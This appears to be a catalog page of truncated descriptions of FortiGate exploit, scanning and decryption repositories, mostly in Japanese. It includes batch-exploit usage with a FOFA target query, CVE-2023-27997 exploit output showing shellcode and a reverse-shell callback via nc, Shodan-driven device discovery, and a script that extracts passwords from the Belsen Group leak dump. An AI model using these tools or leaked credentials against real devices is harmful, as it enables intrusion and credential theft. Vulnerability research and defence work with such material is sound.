CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我々は、テロ組織ハマスに人質として拘束されているすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰宅するまで、我々は休むことはありません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ CVE-2024-21762 このPoCは、FortiGateにおける特定されたセキュリティ上の欠陥を悪用することで、リモートコード実行の可能性を示しています。 CVE-2024-21762 PoC 💣 説明...

CVE-2025-59718-Fortinet-Poc

CVEs: CVE-2025-59718 / CVE-2025-59719 Fortinet Poc Fortinetデバイス（FortiOS / FortiGate）におけるCVE-2025-59718およびCVE-2025-59719に関連する脆弱性を、パッシブ・アクティブ・認証の複数の識別手法を用いて検出するためのツールです。 対応: • フィンガープリンティングによるパッシブ検出 • アクティブ検証（非破壊的） • SSHによる認証付き接続 • ファイルによる大量スキャン • 構造化された結果のエクスポート（JSON） 使用方法 最も信頼性の高い検証（アクティブテスト付き）⭐ 推...

forticrack_v8

Forticrack v8.0.0 FortiOS 8.0.0 ファームウェアイメージを復号および抽出します。 このスクリプトは、Bishop Fox の Forticrack を拡張して 8.0.0 ファームウェアイメージに対応させたものです。また、FortiGate 7.4.7 ファームウェア暗号化に関する RandoriSec の記事 は、7.4.7 の暗号化の新しい反復版のように見えることから、FortiOS 8.0.0 の暗号化をリバースする際に非常に役立ちました。 FGT と FFW の両方のイメージで動作します。 使用方法 これは FGT と FFW の...

Fortigate-Belsen-Leak-Dump-CVE-2022-40684-

Fortigate-Belsen-Leak-Dump-CVE-2022-40684 このスクリプトの動作: 1. スクリプトは rootfolder 配下のすべてのサブフォルダーを調べ、vpn-passwords.txt を探します。 2.「-=-= Belsen Group -=-=.」というバナーを含む行をスキップします。 3. username:password 形式の行については コロンより後ろの部分（パスワード）を抽出し、出力ファイルに書き込みます。 出力: 4. パスワードは extractedpasswords.txt ファイルに保存されます。1行に1つのパスワードです。...

at-doom-fortigate

At Doom Fortigate ================= =============== =============== ======== ======== \ . . . . . . .\ //. . . . . . .\ //. . . . . . .\ \. . .\// . . // ||. . .. . .|| ||. . .. . .|| ||. . .. . .|| || . . ./ . . .|| || . .|| ||. . || || . .|| ||. . || || . .|| ||. . || ||. . . . . . . ||...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684の単独またはバッチ用exp 使用方法 公開鍵を生成 python3 exp.py -u ip:port -k idrsa2048.pub -l hosts.txtでファイルを指定してバッチ処理 FOFA title="FortiGate"...

fortigate-belsen-leak

╔═════════════════════════════════════════════════════════════════════════════╗ ║ ███████╗ ██████╗ ██████╗ ████████╗██╗ ██████╗ █████╗ ████████╗███████╗ ║ ║ ██╔════╝██╔═══██╗██╔══██╗╚══██╔══╝██║██╔════╝ ██╔══██╗╚══██╔══╝██╔════╝ ║ ║ █████╗ ██║ ██║██████╔╝ ██║ ██║██║ ███╗███████║ ██║ █████╗ ║ ║...

CVE-2019-6693

CVE-2019-6693 FortiGate 設定シークレットの復号 元のアドバイザリ ベンダーアドバイザリ バージョン 6.2.0 未満、6.0.0 から 6.0.6、5.6.10 までの FortiGate VM/アプライアンスでは、設定シークレットは一意のキーで暗号化されて保存されます。 それより上のバージョンでは、非デフォルトの private-data-encryption パラメータを使用すると、ユーザーはカスタムキーを使用できます。これは、今日でもほとんど使用されていません。 このスクリプトは、ダンプされた設定からシークレットを復号します。...

gotigate

gotigate CVE-2022-40684 のエクスプロイト インストール ▶ go install github.com/gustavorobertux/gotigate@latest 基本的な使い方 ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"", "device-list-view-type":"",...

CVE-2024-23113

CVE-2024-23113 このPythonスクリプトは、クライアントリストを検索して、各クライアントのFortiGateデバイスがこのCVEに対して脆弱かどうかを確認します。 使用方法 1. "clients.txt"ファイルを作成し、すべてのクライアントのIPアドレスのリストをインポートします。 2. "vul.txt"ファイルを作成します。これはスクリプトの検出結果をエクスポートするために使用されます。 3. scan-clients.pyを実行します。 免責事項...

CVE-2022-40684

CVE-2022-40684 管理者ユーザーとFortigateの詳細を抽出します 使い方: 単一URL: .\poc-cve-2022-40684.ps1 -fgt 192.168.1.1 複数URL: .\poc-cve-2022-40684.ps1 -urlsfile urls.txt...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit FortiGate SSL‑VPN CVE‑2023‑27997 ROP チェーンを使用したエクスプロイト PoC スクリプト 目次 説明 影響を受けるバージョン インストール 使用方法 出力例 技術詳細 注意事項 参考情報 説明 fgt-cve-2023-27997-exploit.py は、Fortinet FortiGate デバイスで発見された深刻な脆弱性 CVE‑2023‑27997 に対する Proof‑of‑Concept PoC エクスプロイトスクリプトです。 この脆弱性は、FortiOS SSL‑VPN...

fortiscan

Fortiscan CVE-2018-13379 FG-IR-18-384 Exploitation Tool, You can use this tool to check the vulnerability in your FortiGate SSL-VPN. This vulnerability affects the following versions: • FortiOS 6.0 - 6.0.0 to 6.0.4 • FortiOS 5.6 - 5.6.3 to 5.6.7 • FortiOS 5.4 - 5.4.6 to 5.4.12...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 - 认证绕过 运行漏洞利用 用法: python3 exploit.py ⣀⡠⢤⡀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠃⠀⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠋⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⢛⠒⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣶⣄⡈⠓⢄⠠⡀⠀⠀⠀⣄⣷⠀⠀⠀⠀⠀⠀⠀...

cve-2019-6693

FortiGate パスワード復号スクリプト - CVE-2019-6693 🔐 標準の暗号化キーにアクセスできる、またはその知識を持つ認可されたリモートユーザーは、FortiOS バックアップファイル、およびすべての非管理者パスワード、秘密鍵、High Availability（HA）パスワードにアクセスして復号化できる可能性があります。 概要 この Python スクリプトは、FortiGate の暗号化方式で暗号化されたパスワードを復元するために設計されています。FortiOS 設定ファイルに保存されているユーザーパスワードと High...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 はこのコードで攻撃可能です。（注意：コードは非常に馬鹿げた方法で書かれています。） 概念実証 $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray + execute $ nc...

FortiOS - Insecure LDAP Configuration Detection

The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions. id: CVE-2019-5591 info: name: FortiOS -...

FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting

FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal...

CVE-2019-6693

CVE-2019-6693 FortiGateのデフォルト暗号鍵を変更しましたか？このスクリプトを実行して確認しましょう！設定ファイル全体のダンプ、または個別の暗号化された値を指定できます。復号化された値が完全な無意味ではなく、単語を生成する場合、暗号鍵がデフォルトのままである可能性が高いです。 インストール git clone https://github.com/Real4XoR/cve-2019-6693.git cd cve-2019-6693 pip3 install -r requirements.txt 使い方 .conf設定ファイル全体を指定します: python3...

cve-2024-21762-checker

FortiGate cve-2024-21762-checker このスクリプトは、CVE-2024-21762に基づくFortigate SSL VPNの脆弱性を確認するために使用されます。Shodanを使用して脆弱なデバイスを発見し、その脆弱性をテストします。 特徴 Shodan APIを使用して、ポート10443でSSL VPNを実行しているFortigateデバイスを発見します。 デバイスの脆弱性ステータスを確認します。 柔軟なShodanクエリ 組織や国などの追加情報とともに結果を表示します。 要件 Python 3.x Shodan APIキー インストール 1...